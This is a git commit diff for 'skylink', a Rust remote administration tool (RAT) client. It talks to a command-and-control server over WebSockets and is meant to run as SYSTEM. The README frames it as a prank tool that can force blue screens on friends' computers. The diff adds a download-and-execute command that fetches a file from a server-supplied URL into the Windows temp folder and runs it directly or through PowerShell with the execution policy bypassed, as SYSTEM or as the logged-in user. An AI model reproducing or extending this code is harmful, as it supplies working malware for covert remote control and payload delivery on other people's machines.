feat: dnx core

README.md

@@ -1 +1,14 @@
 # skylink
+
+A R.A.T. (Remote Administration Tool) made mostly as an in-joke between some friends of mine. Originally intended for learning purposes, they volunteered to install the initial prototype (A.K.A. Skylink 0.1) on their computers, which I used for some pranks, but it was unreliable and held together by hopes and prayers, so here I am making a rewrite!
+This uses the same tech stack (Rust, Tokio, Tokio-tungstenite) however this is *only* the client, as the C2 server is being rewritten in Python.
+Much like 0.1, this version of Skylink uses JSON over WebSockets to communicate with a C2 server, however this time the WebSocket implementation is far more reliable and the JSON protocol is different, being easier to understand.
+It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, because more privileges means more potential for tomfoolery. For example, running as SYSTEM lets me enable test mode, install [BugCheck2Linux](https://github.com/NSG650/BugCheck2Linux) and cause a BSOD.
+
+## roadmap 
+- [X] reliable websockets
+- [X] run\_as\_user
+- [X] basic commands
+- [ ] download and execute
+- [ ] dnx python
+- [ ] windows service

src/lib.rs

@@ -30,7 +30,7 @@ pub enum PayloadType {
 pub struct DnxParams {
   pub url: String,
   pub name: String,
-  pub args: String,
+  pub args: Vec<String>,
   pub run_as_system: bool,
   pub file_type: PayloadType,
 }
@@ -78,6 +78,45 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
       let skylink_ver = "1.0.0";
       if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
     }
+    Command::Dnx { params } => {
+      log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
+      // 1. Toss the file into temp
+      let request = reqwest::get(params.url).await?.bytes().await?;
+      let file_name = params.name;
+      let file_path = format!("C:\\Windows\\Temp\\{file_name}");
+      std::fs::write(&file_path, &request)?;
+
+      // 2. Handle possible file types.
+      log(LogLevel::Debug, LOG_PATH, format!("s2")).await;
+      let mut _exec_command = String::new();
+      let mut _exec_args: Vec<String> = vec![];
+      match params.file_type {
+        PayloadType::Executable => {
+          _exec_command = file_path.clone();
+          _exec_args = params.args;
+        }
+        PayloadType::Powershell => {
+          _exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string();
+          _exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
+          _exec_args.extend(params.args.iter().cloned());
+        }
+        PayloadType::Python => todo!("py payload handling"),
+      }
+
+      // 3. Handle user vs system execution.
+      log(LogLevel::Debug, LOG_PATH, format!("s3")).await;
+      if params.run_as_system == true {
+        std::process::Command::new(&_exec_command).args(&_exec_args).output()?;
+      } else {
+        let mut command_line_args = vec![format!("\"{}\"", _exec_command)];
+        command_line_args.extend(_exec_args);
+        let command_line = command_line_args.join(" ");
+
+        run_as_user(&_exec_command, &command_line)?;
+      }
+      // this was way easier than i expected... assuming it works :pilgrim2:
+      Ok(format!(""))
+    }
     _ => todo!(),
   }
 }

src/lib/websockets.rs

@@ -34,7 +34,7 @@ pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
 
 // Some parts of this function were generated by an LLM. I'm taking note of this in case a
 // weird barely detectable bug pops up, as LLMs tend to generate.
-async fn websocket_handler(ws_tx: WsTx) {
+pub async fn websocket_handler(ws_tx: WsTx) {
   use std::time::Duration;
   use tokio_tungstenite::connect_async;
 

src/main.rs

@@ -1,7 +1,7 @@
 use futures_util::{SinkExt, stream::StreamExt};
 use skylink::lib::logger::{LogLevel, log};
 use skylink::{LOG_PATH, WS_URL};
-use skylink::{WsTx, eval_command, lib::websockets::websocket_handler, lib::websockets::reconnect_websocket};
+use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler};
 use std::sync::Arc;
 use tokio::sync::Mutex;
 use tokio_tungstenite::tungstenite::protocol::Message;